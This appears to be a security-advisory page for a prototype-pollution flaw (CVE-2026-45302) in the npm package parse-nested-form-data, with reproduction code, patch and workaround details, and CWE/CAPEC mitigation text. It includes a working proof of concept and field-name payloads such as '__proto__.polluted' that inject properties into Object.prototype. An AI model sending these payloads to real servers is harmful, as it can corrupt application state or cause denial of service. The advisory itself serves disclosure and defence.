"url": "https://www.telerik.com/kendo-vue-ui/components/knowledge-base/kb-security-protoype-pollution-2024-11628"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-XP7R-J8R6-J9H3
Vulnerability from github – Published: 2026-05-18 16:43 – Updated: 2026-06-09 10:50Summary
parseFormData() walks bracket and dot-notation FormData field names into nested objects without filtering reserved property keys. A single FormData field whose name begins with __proto__, or contains .__proto__. mid-path, causes the parser to traverse onto Object.prototype and assign properties there, polluting the prototype chain of every plain object in the running process.
Details
The vulnerability is in handlePathPart in src/index.ts, which performs currentObject[pathPart.path] and currentObject[pathPart.path] = val for object-type path segments without rejecting reserved keys. When the segment is __proto__, the read returns Object.prototype, which then becomes the next traversal target, and the next assignment lands on the prototype.
Reproduction on a fresh install of parse-nested-form-data@1.0.0:
import { parseFormData } from 'parse-nested-form-data';
const fd = new FormData();
fd.append('__proto__.polluted', 'yes');
parseFormData(fd);
console.log(({}).polluted); // -> 'yes'
console.log(([]).polluted); // -> 'yes'
Equivalent vectors:
__proto__[polluted]=yesa.__proto__.polluted=yes(mid-path traversal)a[0].__proto__.polluted=yes(mid-path through an array element)
constructor.prototype.x was incidentally blocked by an existing duplicate-key guard (because Object is a function and failed the JSON-object check), but relying on that was fragile, so the fix denylists constructor and prototype as well as __proto__. The array branch (a[0], a[]) was not exploitable in practice - the regex restricts array-index segments to digit characters - but the forbidden-key check is applied before the object/array type branching as defense in depth, so any future change to the regex cannot reintroduce the issue.
Impact
Any application that passes attacker-controlled FormData (or any Iterable<[string, string | File]>) to parseFormData() - typically an HTTP server processing form submissions - allows an unauthenticated remote client to mutate Object.prototype of the running process via a single field name. Concrete consequences depend on the host application and may include corrupted application state, altered control flow in code that reads ambient properties off objects, and denial of service.
Patches
Fixed in 1.0.1. handlePathPart now throws a new ForbiddenKeyError (also exported) when any path segment is __proto__, constructor, or prototype, regardless of whether the segment would be used as an object key or an array index. The check runs before object/array type branching for defense in depth.
Upgrade:
npm install parse-nested-form-data@^1.0.1
Workarounds
If upgrading is not possible, validate field names before calling parseFormData():
const FORBIDDEN = /(^|\.)(__proto__|constructor|prototype)($|[.[])/;
for (const [name] of formData.entries()) {
if (FORBIDDEN.test(name)) throw new Error('Unsafe field name');
}
Resources
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- Fix commit: 527ad58eb486e32438f7198fb88315c20449d792
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.0"
},
"package": {
"ecosystem": "npm",
"name": "parse-nested-form-data"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45302"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T16:43:12Z",
"nvd_published_at": "2026-06-01T19:16:51Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`parseFormData()` walks bracket and dot-notation FormData field names into nested objects without filtering reserved property keys. A single FormData field whose name begins with `__proto__`, or contains `.__proto__.` mid-path, causes the parser to traverse onto `Object.prototype` and assign properties there, polluting the prototype chain of every plain object in the running process.\n\n## Details\n\nThe vulnerability is in `handlePathPart` in `src/index.ts`, which performs `currentObject[pathPart.path]` and `currentObject[pathPart.path] = val` for object-type path segments without rejecting reserved keys. When the segment is `__proto__`, the read returns `Object.prototype`, which then becomes the next traversal target, and the next assignment lands on the prototype.\n\nReproduction on a fresh install of `parse-nested-form-data@1.0.0`:\n\n```js\nimport { parseFormData } from \u0027parse-nested-form-data\u0027;\nconst fd = new FormData();\nfd.append(\u0027__proto__.polluted\u0027, \u0027yes\u0027);\nparseFormData(fd);\nconsole.log(({}).polluted); // -\u003e \u0027yes\u0027\nconsole.log(([]).polluted); // -\u003e \u0027yes\u0027\n```\n\nEquivalent vectors:\n\n- `__proto__[polluted]=yes`\n- `a.__proto__.polluted=yes` (mid-path traversal)\n- `a[0].__proto__.polluted=yes` (mid-path through an array element)\n\n`constructor.prototype.x` was incidentally blocked by an existing duplicate-key guard (because `Object` is a function and failed the JSON-object check), but relying on that was fragile, so the fix denylists `constructor` and `prototype` as well as `__proto__`. The array branch (`a[0]`, `a[]`) was not exploitable in practice - the regex restricts array-index segments to digit characters - but the forbidden-key check is applied before the object/array type branching as defense in depth, so any future change to the regex cannot reintroduce the issue.\n\n## Impact\n\nAny application that passes attacker-controlled `FormData` (or any `Iterable\u003c[string, string | File]\u003e`) to `parseFormData()` - typically an HTTP server processing form submissions - allows an unauthenticated remote client to mutate `Object.prototype` of the running process via a single field name. Concrete consequences depend on the host application and may include corrupted application state, altered control flow in code that reads ambient properties off objects, and denial of service.\n\n## Patches\n\nFixed in **1.0.1**. `handlePathPart` now throws a new `ForbiddenKeyError` (also exported) when any path segment is `__proto__`, `constructor`, or `prototype`, regardless of whether the segment would be used as an object key or an array index. The check runs before object/array type branching for defense in depth.\n\nUpgrade:\n\n```\nnpm install parse-nested-form-data@^1.0.1\n```\n\n## Workarounds\n\nIf upgrading is not possible, validate field names before calling `parseFormData()`:\n\n```js\nconst FORBIDDEN = /(^|\\.)(__proto__|constructor|prototype)($|[.[])/;\nfor (const [name] of formData.entries()) {\n if (FORBIDDEN.test(name)) throw new Error(\u0027Unsafe field name\u0027);\n}\n```\n\n## Resources\n\n- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)\n- Fix commit: 527ad58eb486e32438f7198fb88315c20449d792",
"id": "GHSA-xp7r-j8r6-j9h3",
"modified": "2026-06-09T10:50:53Z",
"published": "2026-05-18T16:43:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/milamer/parse-nested-form-data/security/advisories/GHSA-xp7r-j8r6-j9h3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45302"
},
{
"type": "WEB",
"url": "https://github.com/milamer/parse-nested-form-data/commit/527ad58eb486e32438f7198fb88315c20449d792"
},
{
"type": "PACKAGE",
"url": "https://github.com/milamer/parse-nested-form-data"
},
{
"type": "WEB",
"url": "https://github.com/milamer/parse-nested-form-data/releases/tag/v1.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "parse-nested-form-data has Prototype Pollution via `__proto__` in FormData field names"
}
Mitigation
By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.
Mitigation
By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.
Mitigation
Strategy: Input Validation
When handling untrusted objects, validating using a schema can be used.
Mitigation
By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.
Mitigation
Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels
An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.